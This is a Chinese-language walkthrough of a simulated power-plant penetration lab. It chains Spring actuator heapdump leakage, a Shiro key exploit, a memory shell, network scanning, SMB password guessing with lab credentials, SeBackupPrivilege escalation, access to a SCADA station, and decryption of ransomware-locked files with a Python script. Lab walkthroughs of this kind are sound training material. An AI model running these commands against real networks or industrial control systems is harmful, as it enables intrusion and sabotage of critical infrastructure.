banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云镜仿真靶场-ThermalPower记录

[[仿真场景 - ThermalPower]]#

该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。

附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h

  • 内网渗透
  • Shiro
  • SCADA
  • 工控安全

第一关#

评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。

fscan 扫描得到 8080 端口

image

8080 端口访问如下,一个登录界面

image

目录扫描得到知道存在 actuator 目录遍历

http://39.101.207.104:8080/actuator

image

有 heapdump 文件,下载 heapdump

http://39.101.207.104:8080/actuator/heapdump

使用https://github.com/whwlsfb/JDumpSpider/releases/tag/dev-20230406T031230 工具提取数据

找到了 shiro key

image

algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES

使用工具直接利用

image

获取 flag01

image

第二关#

尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。

打内存马,蚁剑连接

image

上传 fscan,扫描 172.22.17.X 段

image

fscan 扫描结果如下

172.22.17.213:8080 open
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.213:22 open
172.22.17.6:21 open
[*] NetBios 172.22.17.6     WORKGROUP\WIN-ENGINEER        
[*] WebTitle http://172.22.17.213:8080 code:302 len:0      title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548
[*] NetInfo 
[*]172.22.17.6
   [->]WIN-ENGINEER
   [->]172.22.17.6
[+] ftp 172.22.17.6:21:anonymous 
   [->]Modbus
   [->]PLC
   [->]web.config
   [->]WinCC
   [->]内部软件
   [->]火创能源内部资料
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548 code:200 len:2936   title:火创能源监控画面管理平台
[*] WebTitle http://172.22.17.6        code:200 len:661    title:172.22.17.6 - /
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2

扫到了两台机器

http://172.22.17.213:8080 # 已拿下
http://172.22.17.6 有个ftp服务

挂代理

image

ftp 匿名登录 172.22.17.6,

image

172.22.17.6 的 80 端口可目录遍历,泄露了一些信息

http://172.22.17.6/%E7%81%AB%E5%88%9B%E8%83%BD%E6%BA%90%E5%86%85%E9%83%A8%E8%B5%84%E6%96%99/SCADA.txt

image

这里有个新网段:172.22.26.xx

内部通知中,泄漏了密码规范

image

通讯录有一些账号密码

image

用 crackmapexec 尝试爆破,得到两个账号,分别为 chenhua 和 zhaoli

proxychains crackmapexec smb 172.22.17.6 -u chenhua -p chenhua@0813
proxychains crackmapexec smb 172.22.17.6 -u zhaoli -p zhaoli@0821

image

image

使用 xfreerdp 登录

proxychains -q xfreerdp /u:chenhua /p:chenhua@0813 /v:172.22.17.6:3389 +clipboard /drive:tmp,/tmp

这里可以滥用 Windows 特权组提升至系统权限。

image

注:whoami /priv 可查看 SeBackupPrivilege 的状态

下载https://github.com/k4sth4/SeBackupPrivilege

PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeUtils.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Set-SeBackupPrivilege
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> dir c:\Users\Administrator\flag\


    目录: C:\Users\Administrator\flag


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2024/6/16     15:51            350 flag02.txt


PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Copy-FileSeBackupPrivilege c:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt
Copied 350 bytes

image

获取 flag02

image

第三关#

fscan 扫描 172.22.26.xx 段结果如下:

172.22.26.11:1433 open
172.22.26.11:445 open
172.22.26.11:139 open
172.22.26.11:135 open
172.22.26.11:80 open
[*] alive ports len is: 5
start vulscan
[*] NetBios 172.22.26.11    WORKGROUP\WIN-SCADA           
[+] mssql 172.22.26.11:1433:sa 123456
[*] NetInfo 
[*]172.22.26.11
   [->]WIN-SCADA
   [->]172.22.26.11
[*] WebTitle http://172.22.26.11       code:200 len:703    title:IIS Windows Server

172.22.26.11 应该是 SCADA 工程师站,尝试接管 SCADA 工程师站,并启动锅炉

WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

通过之前泄露的账号密码登录 172.22.26.11

proxychains -q xfreerdp /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11:3389 +clipboard /drive:tmp,/tmp

登录后,点击锅炉开,即可查看 flag

image

flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}

第四关#

尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。

win + d 返回桌面,被勒索病毒加密了

image

桌面有个文件,如何解密你的文件.txt,打开,告诉你文件已被加密

image

打开桌面上的 navicat 数据库连接工具,可以在 ScadaDB 中找到 flag,但 flag 被加密了

image

flag 可能在桌面被锁定的 sql 文件中

image

在 C 盘找到勒索病毒源文件

image

这是一个.net 程序,可以用 dnspy 打开

image

病毒使用AESCrypto加解密

image

根据上述代码,需要拿到AES_KEY,而AES_KEY需要通过privateKeyencryptedAesKey才能得到。

image

百度网盘给了这两个文件

image

privateKey 内容如下:

image

通过网站https://www.ssleye.com/ssltool/pem_xml.html,将 XML 格式转成 PEM 格式,得到 `PRIVATE KEY`

image

然后通过https://www.lddgo.net/encrypt/rsa,再把 `aes key解出来,输入内容为encryptedAesKey` 中加密的内容,解密后得到一串字符。

image

用大头师傅的脚本进行解密

from Crypto.Cipher import AES
import os
import base64

AES_KEY = base64.b64decode("cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=")

def decrypt_file(input_file, output_file):
    aes_cipher = AES.new(AES_KEY, AES.MODE_CBC)
    with open(input_file, 'rb') as f:
        iv = f.read(16)
        aes_cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
        with open(output_file, 'wb') as decrypted_file:
            while True:
                chunk = f.read(16)
                if len(chunk) == 0:
                    break
                decrypted_chunk = aes_cipher.decrypt(chunk)
                decrypted_file.write(decrypted_chunk)

    print("解密完成")

input_file = "ScadaDB.sql.locky"
output_file = "ScadaDB.sql"  # 解密后的文件
decrypt_file(input_file, output_file)

打开解密后的 ScadaDB.sql 文件,最终获取到 flag04

image

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。